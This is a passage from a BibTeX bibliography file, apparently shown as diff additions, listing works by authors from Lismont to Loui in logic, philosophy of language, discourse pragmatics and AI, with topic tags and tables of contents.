Axiomatization of Common + Belief}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {363--374}, + acontentnote = {Abstract: + The paper introduces a modal logic system of individual and + common belief which is shown to be sound and complete with + respect to a version of Neighbourhood semantics. This + axiomatization of common belief is the weakest of all those + currently available: it dispenses with even the Monotonicity + rule of individual belief. It is non-minimal in that it does not + use just the Equivalence rule but the conjunction of the latter + with the specially devised rule of C-Restricted Monotonicity.}, + topic = {modal-logic;epistemic-logic;neighborhood-semantics;} + } + +@article{ lismont:1995a, + author = {Luc Lismont}, + title = {Common Knowledge: Relating Anti-Founded Situation Semantics + to Modal Logic Neighbourhood Semantics}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {3}, + number = {3}, + pages = {285--302}, + missinginfo = {A's 1st name.}, + topic = {mutual-beliefs;epistemic-logic;} + } + +@article{ liston:1999a, + author = {Michael Liston}, + title = {Review of {\it What is Mathematics, Really}, by + {R}euben {H}irsch}, + journal = {Philosophy of Science}, + year = {1999}, + volume = {66}, + number = {3}, + pages = {501--502}, + topic = {philosophy-of-mathematics;} + } + +@techreport{ litman-allen_jf:1984a, + author = {Diane Litman and James Allen}, + title = {A Plan Recognition Model for Clarification Subdialogues}, + institution = {Computer Science Department, University of Rochester}, + number = {141}, + year = {1984}, + address = {Rochester, NY}, + topic = {plan-recognition;discourse;pragmatics;} + } + +@phdthesis{ litman:1985a, + author = {Diane Litman}, + title = {Plan Recognition and Discourse Analysis}, + school = {Computer Science Department, University of Rochester}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Rochester, New York}, + topic = {plan-recognition;discourse;nl-interpretation; + pragmatics;} + } + +@incollection{ litman-allen_jf:1990a, + author = {Diane J. Litman and James F. Allen}, + title = {Discourse Planning and Commonsense Plans}, + booktitle = {Intentions in Communication}, + publisher = {MIT Press}, + year = {1990}, + editor = {Philip Cohen and Jerry Morgan and Martha Pollack}, + pages = {366--388}, + address = {Cambridge, Massachusetts}, + topic = {discourse;plan-recognition;discourse-planning;pragmatics;} + } + +@unpublished{ litman-hirschberg:1990a, + author = {Diane Litman and Julia Hirschberg}, + title = {Disambiguating Cue Phrases in Text and Speech}, + year = {1990}, + note = {Unpublished manuscript, AT\&T Bell Laboratories.}, + topic = {discourse-cue-words;} + } + +@inproceedings{ litman:1992a, + author = {Diane Litman}, + title = {Integrating {DL} and Plan-Based Paradigms}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {49--52}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;extensions-of-kl1;} + } + +@unpublished{ litman:1993a, + author = {Diane Litman}, + title = {{CLASP}: {CLA}ssification of {S}cenarios and {P}lans + User's Guide}, + year = {1998}, + month = {April}, + note = {Unpublished manuscript, AT\&T Bell Laboratories.}, + topic = {kr;krcourse;taxonomic-logics;extensions-of-kl1;} + } + +@inproceedings{ litman-etal:1999a, + author = {Diane J. Litman and Marilyn A. Walker and Michael + S. Kearns}, + title = {Acquiring Knowledge of System Performance for Spoken + Dialogue}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {73--80}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;spoken-dialogue-systems; + nlp-evaluation;} + } + +@inproceedings{ litman-etal:2000a, + author = {Diane Litman and Satinder Singh and Michael Kearns and + Marilyn Walker}, + title = {{NJFun}: A Reinforcement Spoken Dialogue System}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {17--20}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;machine-learning;} + } + +@book{ little:1995a, + editor = {Daniel Little}, + title = {On the Reliability of Economic Models: Essays in the + Philosophy of Economics}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + topic = {philosophy-of-economics;} + } + +@article{ littman-mey:1991a, + author = {D.C. Littman and J.L. Mey}, + title = {The Nature of Irony: Toward a Computational Theory of Irony}, + journal = {Journal of Pragmatics}, + year = {1991}, + volume = {15}, + number = {2}, + pages = {131--151}, + missinginfo = {A's 1st names}, + topic = {irony;} + } + +@article{ littman-etal:2002a, + author = {Michael L. Littman and Greg A. Keim and Noam Shazeer}, + title = {A Probabilistic Approach to Solving Crossword Puzzles}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {23--55}, + topic = {crossword-puzzles;probabilistic-reasoning;} + } + +@article{ liu-williams_ma:2001a, + author = {Wei Liu and Mary-Anne Williams}, + title = {A Framework for Multi-Agent Belief Revision}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {291--312}, + topic = {belief-revision;artificial-societies;} + } + +@article{ liu_jm:1998a, + author = {Jiming Liu}, + title = {A Method of Spatial Reasoning Based on Qualitative + Trigonometry}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {137--168}, + topic = {spatial-reasoning;qualitative-geometry;qualitative-reasoning;} + } + +@article{ liu_jm-etal:2002a, + author = {Jiming Liu and Han Jing and Y.Y. Tang}, + title = {Multi-Agent Oriented Constraint Satisfaction}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {136}, + number = {1}, + pages = {101--144}, + topic = {constraint-satisfaction;multiagent-systems;} + } + +@article{ liu_w-williams_ma:2001a, + author = {Wei Liu and Mary-Ann Williams}, + title = {A Framework for Multi-Agent Belief Revision}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {291--312}, + topic = {belief-revision;multiagent-epistemic-logic;} + } + +@article{ livingston:2000a, + author = {Erin Livingston}, + title = {Review of {\it The Is-Ought Problem: An Investigation in + Philosophical Logic}, by {G}eorge {S}churtz}, + journal = {Studia Logica}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {432--434}, + xref = {Review of schurtz_g1:1997a.}, + topic = {deontic-logic;Hume;} + } + +@book{ lloyd_ger:1999a, + author = {G.E.R. Lloyd}, + title = {Aristotelian Explanations}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052155619-8}, + topic = {Aristotle;} + } + +@incollection{ loar:1976a, + author = {Brian Loar}, + title = {Two Theories of Meaning}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {138--161}, + address = {Oxford}, + topic = {davidson-semantics;speaker-meaning;convention; + philosophy-of-language;} + } + +@incollection{ loar:1980a, + author = {Brian Loar}, + title = {Ramsey's Theory of Belief and Truth}, + booktitle = {Prospects for Pragmatism}, + publisher = {Cambridge University Press}, + year = {1980}, + editor = {D.H. Mellor}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {F.P.Ramsey;belief;truth;} + } + +@book{ loar:1981a, + author = {Brian Loar}, + title = {Mind and Meaning}, + publisher = {Cambridge University Press}, + year = {1981}, + address = {Cambridge, England}, + topic = {philosophy-of-mind;philosophy-of-language;} + } + +@article{ loar:1982a, + author = {Brian Loar}, + title = {Conceptual Role and Truth Conditions}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {272--283}, + topic = {foundations-of-semantics;} + } + +@incollection{ loar:1994a, + author = {Brian Loar}, + title = {Self-Interpretation and the Constitution of + Reference}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {51--74}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {internalism/externalism;reference;foundations-of-semantics;} + } + +@incollection{ lobner:1986a, + author = {Sebastian L\"obner}, + title = {Quantification as a Major Module of Natural Language}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {53--85}, + address = {Dordrecht}, + topic = {nl-quantifiers;pragmatics;} + } + +@article{ lobner:1989a, + author = {Sebstian L\"obner}, + title = {German `Schon'-`Erst'-`Noch': An Integrated Analysis}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {2}, + pages = {167--212}, + topic = {tense-aspect;German-language;`already';`still';} + } + +@article{ lobner:1999a, + author = {Sebastian L\"obner}, + title = {Why {G}erman Schon and Noch are Still Duals: A Reply to + van der {A}uwera}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {1}, + pages = {45--107}, + xref = {Reply to vanderauwera:1993a.}, + topic = {`already';`still';tense-aspect;} + } + +@article{ lobner:2000a, + author = {Sebastian L\"obner}, + title = {Polarity in Natural Language Predication, Quantification + and Negation in Particular and Characterizing Sentences}, + journal = {Linguistics and Philosophy}, + year = {1000}, + volume = {23}, + number = {3}, + pages = {213--308}, + topic = {negation;polarity;plural;generics;} + } + +@book{ lobo-etal:1992a, + author = {Jorge Lobo and Jack Minker and Arcot Rajasekar}, + title = {Foundations of Disjunctive Logic Programming}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0262121654}, + topic = {disjunctive-logic-programming;} + } + +@inproceedings{ lobo-uzcategui:1996a, + author = {Jorge Lobo and Carlos Uzc/'ategui}, + title = {Abductive Consequence Relations}, + booktitle = {Working Papers: Common Sense '96}, + year = {1996}, + editor = {Sa\v{s}a Buva\v{c} and Tom Costello}, + pages = {104--113}, + publisher = {Computer Science Department, Stanford University}, + address = {Stanford University}, + note = {Consult http://www-formal.Stanford.edu/tjc/96FCS.}, + xref = {See lobo-uzcategui:1997a for journal publication.}, + topic = {abduction;belief-revision;} + } + +@article{ lobo-uzcategui:1996b, + author = {Jorge Lobo and Carlos Uzc/'ategui}, + title = {Abductive Change Operators}, + journal = {Fundamenta Informaticae}, + year = {1996}, + note = {Forthcoming.}, + contentnote = {Idea is to provide a theory of revising beliefs on + things abduced to explain evidence.}, + topic = {abduction;belief-revision;} + } + +@article{ lobo-uzcategui:1997a, + author = {Jorge Lobo and Carlos Uzc/'ategui}, + title = {Abductive Consequence Relations}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {89}, + number = {1--2}, + pages = {149--171}, + xref = {See lobo-uzcategui:1996a for prepublication.}, + topic = {belief-revision;abduction;} + } + +@book{ locascio-vet:1986a, + editor = {Vinzenzo Lo Cascio and Co Vet}, + title = {Temporal Structure in Sentence and Discourse}, + publisher = {Foris Publications}, + year = {1986}, + address = {Dordrecht}, + contentnote = {TC: + 1. Renate Bartsch , "On Aspectual Properties of {D}utch and + {G}erman Nominalizations" + 2. Pier Marco Bertinetto, "Intrinsic and Extrinsic Temporal + References" + 3. Christian Rohrer, "Indirect Discourse and 'Consecutio + Temporum'\," + 4. Bob Rigter, "Focus Matters" + 5. Co Vet and Arie Molendijk, "The Discourse Functions of the + Past Tenses of {F}rench " + 6. Frans Houweling, "Deictic and Anaphoric Tense Morphemes" + 7. Vincenzo Lo Cascio, "Temporal Deixis and Anaphor in + Sentence and Text" + 8. Vincenzo Lo Cascio and Christian Rohrer, "Interaction + between Verbal Tenses and Temporal Adverbs in Complex + Sentences" + 9. Mascia Adelaar and Vincenzo Lo Cascio, "Temporal Relation, + Localization and Direction in Discourse" + } , + xref = {Review: hinrichs:1989a.}, + ISBN = {9067651354, 9067651362 (pbk.)}, + topic = {tense-aspect;} + } + +@inproceedings{ lochbaum-sidner_cl:1990a, + author = {Karen E. Lochbaum and Candice L. Sidner}, + title = {Models of Plans to Support Communication: An Initial + Report}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {485--490}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {sharedplans;discourse;pragmatics;} + } + +@unpublished{ lochbaum:1992a, + author = {Karen E. Lochbaum}, + title = {A Collaborative Planning Approach to Discourse + Understanding}, + year = {1992}, + note = {Unpublished manuscript,Harvard University.}, + missinginfo = {Year is a guess.}, + topic = {sharedplans;discourse;pragmatics;} + } + +@phdthesis{ lochbaum:1994a, + author = {Karen E. Lochbaum}, + title = {Using Collaborative Plans to Model the Intentional + Structure of Discourse}, + school = {Harvard University}, + year = {1994}, + type = {Ph.{D}. Dissertation, Computer Science Department}, + address = {Cambridge, {MA}}, + topic = {sharedplans;discourse;pragmatics;} + } + +@inproceedings{ lochbaum:1995a, + author = {Karen Lochbaum}, + title = {The Use of Knowledge Preconditions in Language Processing}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1260--1266}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {sharedplans;} + } + +@article{ lochbaum:1998a, + author = {Karen E. Lochbaum}, + title = {A Collaborative Planning Model of Intentional + Structure}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {525--572}, + topic = {sharedplans;discourse;pragmatics;} + } + +@article{ locke:1962a, + author = {Don Locke}, + title = {Ifs and Cans Revisited}, + journal = {Philosophy}, + year = {1962}, + volume = {37}, + pages = {245--256}, + missinginfo = {number}, + topic = {conditionals;ability;JL-Austin;} + } + +@article{ locke:1976a, + author = {Don Locke}, + title = {The `Can' of Being Able}, + journal = {Philosophia}, + year = {1976}, + volume = {6}, + pages = {1--20}, + missinginfo = {number}, + topic = {ability;} + } + +@incollection{ lockelt-etal:2002a, + author = {Markus L\"ockelt and Tilman Becker and Norbert Pfleger + and Jan Alexandersson}, + title = {Making Sense of Partial}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {101--107}, + address = {Edinburgh}, + topic = {computational-dialogue;ellipsis;} + } + +@book{ lockhead-pomerantz:1991a, + editor = {Gregory R. Lockhead and James R. Pomerantz}, + title = {The Perception of Structure: Essays in Honor of {W}endell {R}. + {G}arner}, + publisher = {American Psychological Association}, + year = {1991}, + address = {Washington, DC}, + ISBN = {1557981256}, + contentnote = {TC: + 1. James R. Pomerantz and Gregory R. Lockhead, "Perception of + Structure: An Overview" + 2. Stephen E. Palmer, "Goodness, Gestalt, Groups and {G}arner: + Local Symmetry Subgroups as a Theory of Figural + Goodness" + 3. James E. Cutting, "Why Our Stimuli Look As They Do" + 4. Roger N. Shepard, "Integrality Versus Separability of + Stimulus Dimensions: From an Early Convergence of + Evidence to a Proposed Theoretical Basis" + 5. Irving Biederman, H. John Hilton, and John E. Hummel, + "Pattern Goodness and Pattern Recognition" + 6. Sarah Hollingsworth Lisanby and Gregory R. Lockhead, + "Subjective Randomness, Aesthetics, and Structure" + 7. Michael Kubovy and David Gilden, "Apparent Randomness Is Not + Always The Complement of Apparent Order" + 8. Howard E. Egeth and Toby Mordkoff, "Redundancy gain + Revisited: Evidence for Parallel Processing of + Separable Dimensions" + 9. Robert G. Crowder, "Imagery and the Perception of Musical + Timbre" + 10. James D. St. James and Charles W. Eriksen, "Response + Competition Produces A `Fast Same Effect' in + Same-Different Judgments" + 11. Donald Broadbent, "Early Selection, Late Selection, and the + Partitioning of Structure" + 12. Bryan E. Shepp, "Perception of Color: A Comparison + of Alternative Structural Organizations" + 13. James R. Pomerantz, "The Structure of Visual Configurations: + Stimulus Versus Subject Contributions" + 14. Donald S. Blough, "Perceptual Analysis in Pigeon Visual + Search" + 15. Donald A. Riley and Michael F. Brown, "Representation of + Multidimensional Stimuli in Pigeons" + 16. George A. Miller, "Lexical Echoes of Perceptual Structure" + 17. Herbert H. Clark. "On the Influence of Response Uncertainty + and Task Structure on Retrieval from Lexical Memory" + 18. James H. Neely, "Words, the World, and Their Possibilities" + 19. Linda B. Smith, "Perceptual Structure and Developmental + Process" + 20. John Morton and Mark Johnson, "The Perception of Facial + Structure in Infancy" + 21. Wendell R. Garner, "Afterword: A Final Commentary" + } , + topic = {perceptual-psychology;pattern-recognition;} + } + +@article{ lockman-klapholtz:1980a, + author = {Abraham Lockman and David Klapholz}, + title = {Toward a Procedural Model of Contextual Reference Resolution}, + journal = {Discourse Processes}, + year = {1980}, + volume = {3}, + pages = {25--71}, + missinginfo = {number}, + topic = {discourse;anaphora;reference;pragmatics;} + } + +@article{ loeb_le:1998a, + author = {Louis E. Loeb}, + title = {Sextus, {D}escartes, {H}ume, and {P}eirce: On + Securing Settled Doxastic States}, + journal = {No\^us}, + year = {1998}, + volume = {32}, + number = {2}, + pages = {205--230}, + topic = {skepticism;} + } + +@article{ loeb_m:1955a, + author = {M.H. L\"ob}, + title = {Solution to a Problem of {L}eon {H}enkin}, + journal = {Journal of Symbolic Logic}, + year = {1955}, + volume = {20}, + pages = {115--118}, + missinginfo = {A's 1st name, number.}, + topic = {goedels-second-theorem;semantic-reflection;} + } + +@incollection{ loeb_p:1973a, + author = {P. Loeb}, + title = {A Nonstandard Representation of {B}orel Measures and + $\sigma$-Finite Measures}, + booktitle = {Victoria Symposium on Nonstandard Analysis}, + publisher = {Springer}, + year = {1974}, + editor = {P. Loeb et al.}, + pages = {144--152}, + address = {Heidelberg}, + missinginfo = {A's 1st name, editors}, + topic = {nonstandard-probability;} + } + +@incollection{ loeb_p:1979a, + author = {P.A. Loeb}, + title = {An Introduction to Nonstandard Analysis and Hyperfinite + Probability Theory}, + booktitle = {Probabilistic Analysis and Related Topics, Volume 2}, + publisher = {Academic Press}, + year = {1979}, + editor = {A.T. Bharucha-Reid}, + pages = {105--142}, + address = {New York}, + missinginfo = {A's 1st name, E's 1st name.}, + topic = {nonstandard-probability;} + } + +@book{ loeckx-etal:1996a, + author = {Jacques Loeckx and Hans-Dieter Ehrich and Markus Wolf}, + title = {Specification of Abstract Data Types}, + publisher = {John Wiley and Sons}, + year = {1996}, + address = {Chichester}, + ISBN = {047195067X (alk. paper)}, + topic = {abstract-data-types;} + } + +@book{ loeve:1960a, + author = {M. Lo\'eve}, + title = {Probability Theory}, + publisher = {Van Nostrand}, + year = {1960}, + address = {Princeton, New Jersey}, + missinginfo = {A's 1st name.}, + contentnote = {According to spohn:1986a, Chapters 24, 25 have an account + of defining probabilities conditional on sigma-fields. This + Spohn says is the standard mathematics solution to + 0 probability conditions.}, + topic = {probability-theory;primitive-conditional-probability;} + } + +@article{ loewer:1976a, + author = {Barry Loewer}, + title = {Counterfactuals with Disjunctive Antecedents}, + journal = {Journal of Philosophy}, + year = {1976}, + volume = {73}, + number = {1`6}, + pages = {531--537}, + topic = {conditionals;} + } + +@article{ loewer:1978a, + author = {Barry Loewer}, + title = {Cotenability and Counterfactual Logics}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {8}, + number = {1}, + pages = {99--115}, + topic = {conditionals;} + } + +@article{ loewer-godby:1978a, + author = {Barry Loewer and John W, {Godbey, Jr.}}, + title = {Representational Symbol Systems}, + journal = {Semiotica}, + year = {1978}, + volume = {23}, + number = {3/4}, + pages = {335}, + topic = {representation;} + } + +@article{ loewer-belzer:1983a, + author = {Barry Loewer and Marvin Belzer}, + title = {Dyadic Deontic Detachment}, + journal = {Synth\'ese}, + volume = {54}, + year = {1983}, + pages = {295--318}, + topic = {deontic-logic;conditional-obligation;} + } + +@book{ loewer-rey:1991a, + editor = {Barry Loewer and Georges Rey}, + title = {Meaning in Mind: {F}odor and His Critics}, + publisher = {Blackwell}, + year = {1991}, + address = {Oxford}, + ISBN = {0631171037 (cloth)}, + contentnote = {TC: + 1. Louise Antony and Joseph Levine, "The nomic and the robust" + 2. Lynne Rudder Baker, "Has content been naturalized?" + 3. Ned Block, "What narrow content is not" + 4. Daniel C. Dennett, "Granny's campaign for safe science" + 5. Paul A. Boghossian / , "Naturalizing content" + 6. Michael Devitt, "Why Fodor can't have it both ways" + 7. Brian Loar, "Can we explain intentionality?" + 10. Robert J. Matthews, "Is there vindication through + representationalism?" + 11. Ruth Garrett Millikan, "Speaking up for Darwin" + 12. John Perry and David Isreal, "Fodor and psychological + explanations" + 13. Stephen Schiffer, "Does mentalese have a compositional + semantics?" + 14. Paul Smolensky, "Connectionism, constituency, and the + language of thought" + 15. Robert Stalnaker, "How to do semantics for the language of + thought" + 16. Stephen P. Stich, "Narrow content meets fat syntax" + 17. Jerry A. Fodor, "Replies" + } , + topic = {philosophy-of-mind;philosophy-of-language;} + } + +@article{ loewer:2001a, + author = {Barry Loewer}, + title = {Review of {\it Mind in a Physical World}, by {J}aegwon + {K}im}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {6}, + pages = {315--329}, + xref = {Review of kim_jw:1998a.}, + topic = {mind-body-problem;causality;} + } + +@incollection{ loflin:1976a, + author = {Marvin D. Loflin}, + title = {Black {E}nglish Deep Structure}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {249--273}, + address = {Washington, D.C.}, + topic = {Black-English;nl-syntax;} + } + +@book{ logue:1995a, + author = {James Logue}, + title = {Projective Probability}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + topic = {foundations-of-probability;} + } + +@incollection{ lohrmann:1991a, + author = {Gabriele Lohrmann}, + title = {An Evidential Reasoning Approach to the Classification of + Satellite Images}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {227--231}, + address = {Berlin}, + topic = {statistical-inference;computer-vision;visual-reasoning;} + } + +@article{ lokhorst:1996a, + author = {Gert-Jan C. Lokhorst}, + title = {Reasoning about Actions and Obligations in First-Order + Logic}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {221--237}, + topic = {deontic-logic;logic-programming;} + } + +@article{ lokhorst:1999a, + author = {Gert-Jan Lokhorst}, + title = {Geach's Deontic Quantifier}, + journal = {Philosophia}, + year = {1999}, + volume = {24}, + number = {1--2}, + pages = {247--251}, + topic = {deontic-logic;} + } + +@article{ lombard:1995a, + author = {Lawrence Brian Lombard}, + title = {Sooner or Later}, + journal = {No\^us}, + year = {1995}, + volume = {29}, + number = {3}, + pages = {343--359}, + topic = {events;} + } + +@article{ lombardi:2001a, + author = {Giuseppe Lombardi}, + title = {How Comparative is Semantics? A Unified Parametric + Theory of Bare Nouns and Proper Names}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {4}, + pages = {335--369}, + topic = {universal-grammar;nl-semantics;indefiniteness;} + } + +@article{ london:1980a, + author = {Philip London}, + title = {Review of {\it Artificial Intelligence Programming}, by + {E}ugene {C}harniak, {C}hristopher {R}iesbeck and + {D}rew {M}cDermott}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {123--124}, + xref = {Review of charniak-etal:1980a.}, + topic = {AI-programming;AI-intro;} + } + +@book{ long-whitefield:1989a, + editor = {J. Long and A. Whitefield}, + title = {Cognitive Ergonomics and Human-Computer Interaction}, + publisher = {Cambridge University Press}, + year = {1989}, + address = {Cambridge, England}, + ISBN = {0521371791}, + topic = {HCI;} + } + +@book{ longacre:1964a, + author = {Robert E. Longacre}, + title = {Grammar Discovery Procedures: A Field Manual}, + publisher = {Mouton}, + year = {1964}, + address = {The Hague}, + topic = {linguistics-methodology;field-linguistics;} + } + +@book{ longacre:1976a, + author = {Robert E. Longacre}, + title = {An Anatomy of Speech Notions}, + publisher = {Peter de Ridder Press}, + year = {1976}, + address = {Lisse}, + topic = {tagmemics;discourse-analysis;text-linguistics;discourse; + pragmatics;} + } + +@book{ longacre:1996a, + author = {Robert E. Longacre}, + title = {The Grammar of Discourse}, + publisher = {Plenum Press}, + year = {1996}, + edition = {Second}, + address = {New York}, + topic = {tagmemics;discourse;discourse-analysis;pragmatics;} +} + +@techreport{ longo-moggi:1988a, + author = {Giuseppe Longo and Eugenio Moggi}, + title = {Constructive Natural Deduction and its `Modest' Interpretation}, + institution = {Computer Science Department, Carnegie Mellon University}, + number = {CMU-CS-88-131}, + year = {1988}, + address = {Pittsburgh, Pennsylvania}, + topic = {proof-theory;constructive-mathematics;} + } + +@article{ longuethiggins:1994a, + author = {H. Christopher Longuet-Higgins}, + title = {Artificial Intelligence and Musical Cognition}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {3--112}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {AI-and-music;} + } + +@incollection{ lonning:1984a, + author = {Jan Tore L{\o}nning}, + title = {Mass Terms and Quantification}, + booktitle = {Report of an {O}slo Seminar in Logic and Linguistics}, + publisher = {Institute of Mathematics, University of Oslo}, + year = {1984}, + editor = {Jens Erik Fenstad and Jan Tore Langholm and Jan Tore L{\o}nning + and Helle Frisak Sem}, + pages = {III.1--III.54}, + address = {Oslo}, + topic = {mass-term-semantics;} + } + +@article{ lonning:1987a, + author = {Jan Tore L{\o}nning}, + title = {Mass Terms and Quantification}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {1}, + pages = {1--52}, + topic = {mass-term-semantics;} + } + +@techreport{ lonning:1989a, + author = {Jan Tore L{\o}nning}, + title = {Some Aspects of the Logic of Plural Noun Phrases}, + institution = {Department of Mathematics, University of Oslo}, + year = {1989}, + number = {11}, + address = {Oslo, Norway}, + topic = {nl-semantics;plural;} + } + +@techreport{ lonning:1990a, + author = {Jan Tore L{\o}nning}, + title = {Computational Semantics of Mass Terms}, + institution = {Department of Mathematics, University of Oslo}, + year = {1990}, + number = {14}, + address = {Oslo, Norway}, + topic = {nl-semantics;mass-term-semantics;computational-semantics;} + } + +@book{ lopezdemantaras-poole:1994a, + editor = {R. Lopez de Mantaras and David Poole}, + title = {Uncertainty in Artificial Intelligence. Proceedings of + the Tenth Conference (1994)}, + publisher = {Morgan Kaufmann Publishers}, + year = {1994}, + address = {San Francisco}, + topic = {reasoning-about-uncertainty;} + } + +@incollection{ loptson:1996a, + author = {Peter Loptson}, + title = {Prior, {P}lantinga, Haecceity, and the Possible}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {419--435}, + address = {Oxford}, + topic = {reference;quantifying-in-modality;} + } + +@article{ lorenz_k:1973a, + author = {Kuno Lorenz}, + title = {Rules Versus Theorems: A New Approach for Mediation Between + Intuitionistic and Two-Valued Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {3}, + pages = {352--369}, + topic = {intuitionistic-logic;dialogue-logic;} + } + +@article{ lorenz_s:1994a, + author = {S. Lorenz}, + title = {A Tableau Prover for Domain Minimization}, + journal = {Journal of Automated Reasoning}, + year = {1994}, + volume = {13}, + pages = {375--390}, + missinginfo = {A's 1st name, number}, + topic = {theorem-proving;minimal-models;} + } + +@incollection{ lormand:1996a, + author = {Eric Lormand}, + title = {The Holorobophobe's Dilemma}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {61--88}, + address = {Norwood, New Jersey}, + topic = {frame-problem;philosophy-AI;} + } + +@book{ lotka:1956a, + author = {Alfred J. Lotka}, + title = {Elements of Mathematical Biology}, + publisher = {Dover Publications}, + year = {1956}, + address = {New York}, + topic = {mathematical-biology;} + } + +@book{ loucopoulos-karakostas:1995a, + author = {Pericles Loucopoulos and Vassilios Karakostas}, + title = {System Requirements Engineering}, + publisher = {McGraw-Hill Book Co.}, + year = {1995}, + address = {New York}, + ISBN = {0077078438}, + topic = {software-engineering;} + } + +@unpublished{ loui:1986a, + author = {Ronald Loui}, + title = {A Presumptive System of Defeasible Inheritance}, + year = {1986}, + month = {May}, + note = {Unpublished manuscript.}, + topic = {nonmonotonic-reasoning;} + } + +@article{ loui:1987a, + author = {Ronald P. Loui}, + title = {Review of {\it Change in View}, by {G}. {H}arman}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {34}, + number = {1}, + pages = {119--124}, + xref = {Review of harman:1986a.}, + topic = {belief-revision;limited-rationality;} + } + +@article{ loui:1987b, + author = {Ronald Loui}, + title = {Defeat Among Arguments: a System of Defeasible Inference}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + number = {2}, + pages = {100---106}, + topic = {argumentation;nonmonotonic-logic; + argument-based-defeasible-reasoning;} + } + +@techreport{ loui:1987c, + author = {Ronald Loui}, + title = {Theory and Computation of Uncertain Inference and Decision}, + institution = {Department of Computer Science, University of Rochester}, + year = {1987}, + address = {Rochester, New York}, + topic = {argumentation;nonmonotonic-logic;} + } + +@inproceedings{ loui:1988a, + author = {Ronald P. Loui}, + title = {The Curse of {F}rege}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {355--359}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = 